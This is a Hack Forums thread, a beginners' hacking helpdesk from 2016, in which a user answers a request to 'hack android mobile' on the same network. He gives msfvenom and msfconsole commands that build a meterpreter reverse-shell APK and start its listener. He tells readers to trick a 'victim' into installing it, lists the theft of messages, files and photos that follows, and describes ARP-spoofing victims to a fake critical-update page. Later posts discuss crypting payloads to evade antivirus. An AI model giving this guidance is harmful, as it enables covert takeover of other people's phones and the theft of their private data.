Spirit's Beginners Hacking Helpdesk[Ask Your Questions Here]

Spirit's Beginners Hacking Helpdesk[Ask Your Questions Here] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Spirit's Beginners Hacking Helpdesk[Ask Your Questions Here] (/showthread.php?tid=5387776)

Pages: Pages 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

* - Angel shanu - Sep 4, 2016

how can i hack android mobile using kali linux on my same network sir?

* - spirited_wolf™ - Sep 4, 2016

(Sep 4, 2016 10:03 AM)Angel shanu Wrote: how can i hack android mobile using kali linux on my same network sir?

We can exploit android mobile using Metasploit framework.

Here is my tutorial that you can watch 👍

And let me write a written tutorial here also 👍 .

1. First we need to generate our malicious .apk file using msfvenom.

PHP Code 


<?php 
msfvenom -p android/meterpreter/reverse_tcp  LHOST=<your_IP> LPORT=<port_number> R > spirit.apk 

2. Then we need to start our handler to listen on the particular IP and port.

So, open msfconsole and type this

PHP Code 


<?php 
use multi/handler 

3. Now we just need to give our payload name , Lhost ip and lport no.

PHP Code 

<?php 
set payload android/meterpreter/reverse_tcp

set LHOST <your_IP>

set LPORT <port_number>

and in last just type exploit

PHP Code 


<?php 
msf exploit(handler) > exploit 

Done 👍

Now just ask your victim to install your generated .apk file and as far as he/she will open and install it you will get meterpreter session 👍

Thanks 🤝

* - Angel shanu - Sep 4, 2016

(Sep 4, 2016 10:16 AM)spirited_wolf™ Wrote:
We can exploit android mobile using Metasploit framework.

Here is my tutorial that you can watch 👍

And let me write a written tutorial here also 👍 .

1. First we need to generate our malicious .apk file using msfvenom.

PHP Code
<?php msfvenom -p android/meterpreter/reverse_tcp LHOST=<your_IP> LPORT=<port_number> R > spirit.apk

2. Then we need to start our handler to listen on the particular IP and port.

So, open msfconsole and type this

PHP Code
<?php use multi/handler

3. Now we just need to give our payload name , Lhost ip and lport no.

PHP Code
<?php set payload android/meterpreter/reverse_tcp set LHOST <your_IP> set LPORT <port_number>

and in last just type exploit

PHP Code
<?php msf exploit(handler) > exploit

Done 👍

Now just ask your victim to install your generated .apk file and as far as he/she will open and install it you will get meterpreter session 👍

Thanks 🤝

thank you sir for your instant reply can you please tell me what i can do after hacking android mobile?

* - roi1000 - Sep 4, 2016

is there any way to hack the android phone without asking the owner to install an .apk, i mean its kinda obvious and suspicious, is there a way to maybe exploit an android vulnerability to gain access to the phone?

* - spirited_wolf™ - Sep 4, 2016

(Sep 4, 2016 10:20 AM)Angel shanu Wrote: thank you sir for your instant reply can you please tell me what i can do after hacking android mobile?

We can actually do a lot of stuffs after getting meterpreter session.

Like you can

Download the contact/messages.
Download the files.
Upload your files.
You can start capturing pics or you can even make video.
Message anyone.
And a lot more stuffs.

(Sep 4, 2016 10:23 AM)roi1000 Wrote: is there any way to hack the android phone without asking the owner to install an .apk, i mean its kinda obvious and suspicious, is there a way to maybe exploit an android vulnerability to gain access to the phone?

No i don't know any Remote exploit for android mobile and no it will not look so suspicious if you are good with social engineering and ARP spoofing 👍

* - roi1000 - Sep 4, 2016

(Sep 4, 2016 10:28 AM)spirited_wolf™ Wrote:
No i don't know any Remote exploit for android mobile and no it will not look so suspicious if you are good with social engineering and ARP spoofing 👍

tell me how you'd manage to do it personally if you have to do it?

* - spirited_wolf™ - Sep 4, 2016

(Sep 4, 2016 10:32 AM)roi1000 Wrote: tell me how you'd manage to do it personally if you have to do it?

OK so if i have to do it then personally i will do it with ARP spoofing and redirect all my victims to my downloading page and mark that page as Critical update. So, after receiving this type of stuffs always they have to download my malicious application and run it. So, as far as then will open it i will get a meterpreter session so after getting a session i will first migrate the process so i will not loose my meterpreter connection if they will close my application.

Thanks 🤝

* - B4ka - Sep 4, 2016

Hi, I just want to say thank you guys for this thread.

* - roi1000 - Sep 4, 2016

so are you telling me that to gain access to a phone or computer you always have to install a payload on to the machine, so you either have to have access to the machine or by any mean make the victim installed by himself? in other words there's no other mean to gain access to a certain machine without installing a payload?? 😟😟

* - spirited_wolf™ - Sep 4, 2016

(Sep 4, 2016 10:42 AM)B4ka Wrote: Hi, I just want to say thank you guys for this thread.

Thanks brother 🤝

(Sep 4, 2016 10:53 AM)roi1000 Wrote:
so are you telling me that to gain access to a phone or computer you always have to install a payload on to the machine, so you either have to have access to the machine or by any mean make the victim installed by himself? in other words there's no other mean to gain access to a certain machine without installing a payload?? 😟😟

Yes because due to a lot of development in antivirus. All antivirus are aware about the malicious payloads/shellcodes so they will automatically detect your payload and through which we can't execute our payload then via Remote exploits but it works fine if you found PC running windows xp with No-Latest updates 👍

Thanks 🤝

* - roi1000 - Sep 4, 2016

(Sep 4, 2016 11:05 AM)spirited_wolf™ Wrote:
Yes because due to a lot of development in antivirus. All antivirus are aware about the malicious payloads/shellcodes so they will automatically detect your payload and through which we can't execute our payload then via Remote exploits but it works fine if you found PC running windows xp with No-Latest updates 👍

Thanks 🤝

then what are the other vulnerabilities and exploits for?? 😧
and can't we just crypt the payload before injecting (I don't know if its the right word for that) it using an exploit ?
sorry for asking such noob questions, but am just starting my journey...

* - spirited_wolf™ - Sep 4, 2016

(Sep 4, 2016 11:16 AM)roi1000 Wrote:
then what are the other vulnerabilities and exploits for?? 😧
and can't we just crypt the payload before injecting (I don't know if its the right word for that) it using an exploit ?
sorry for asking such noob questions, but am just starting my journey...

I don't think so if we can fud the Remote exploits 🙃 I can just say is Remote exploits are not going to work nowadays 😊

But you just need to do is little social engineering+fud your payload to exploit someone 👍

Thanks 🤝

* - YayHar - Sep 4, 2016

Test Question:

I need to gain access to neighbors WiFi, and port forward through their router.
What would be the best way to go about this, what programs should I use, and how long would this take?

;)

* - roi1000 - Sep 4, 2016

(Sep 4, 2016 11:21 AM)spirited_wolf™ Wrote:
I don't think so if we can fud the Remote exploits 🙃 I can just say is Remote exploits are not going to work nowadays 😊

But you just need to do is little social engineering+fud your payload to exploit someone 👍

Thanks 🤝

oh I see but I'd like to undertand is what are the roles of the other exploits if they don't allow as to gain access to the machine? i mean what they can possibly do else?
and about the social engineering, do you have any good tutorials or ebooks to recommend or maybe to share? 👍
Thank you for you help spirit 😁😁

* - CyberGuard - Sep 4, 2016

(Sep 4, 2016 11:32 AM)roi1000 Wrote:
oh I see but I'd like to undertand is what are the roles of the other exploits if they don't allow as to gain access to the machine? i mean what they can possibly do else?
and about the social engineering, do you have any good tutorials or ebooks to recommend or maybe to share? 👍
Thank you for you help spirit 😁😁

Exploits can prevent AV detections or removal of the file. (rootkits)
Exploits can escalate privileges allowing you access to content you previously couldn't access.
Exploits can exploit a bug that causes a system to crash (DoS).

There are many different types of exploits that can be used in many different ways. Not every exploit is about gaining access to a system.

(Sep 4, 2016 11:27 AM)YayHar Wrote: Test Question:

I need to gain access to neighbors WiFi, and port forward through their router.
What would be the best way to go about this, what programs should I use, and how long would this take?

;)

I won't answer this since it's obviously a question you want to ask OP.
If you do want an answer to this, feel free to send me a PM.

(Sep 4, 2016 11:16 AM)roi1000 Wrote:
then what are the other vulnerabilities and exploits for?? 😧
and can't we just crypt the payload before injecting (I don't know if its the right word for that) it using an exploit ?
sorry for asking such noob questions, but am just starting my journey...

Payloads can be crypted and obfuscated. a reverse TCP shell like meterpreter can easily by crypted to decrease the chance of a detection. This is because most anti-viruses work on a signature-basis and almost none work with an in-depth anomaly detection system due to the amount of resources it requires.

(Sep 4, 2016 11:05 AM)spirited_wolf™ Wrote:
Yes because due to a lot of development in antivirus. All antivirus are aware about the malicious payloads/shellcodes so they will automatically detect your payload and through which we can't execute our payload then via Remote exploits but it works fine if you found PC running windows xp with No-Latest updates 👍

Thanks 🤝

Not completely true.
Yes, AV's are aware that there are malicious payloads and do have standard measures against it (IN GENERAL). But encrypted payloads might not be detected.

In the end, having direct access to a computer is by far the easiest way to go. Just run a virus and whitelist/trust it on the AV. Local Privilege escalation can also easily be done since you don't have to go through the tedious process of gaining access remotely.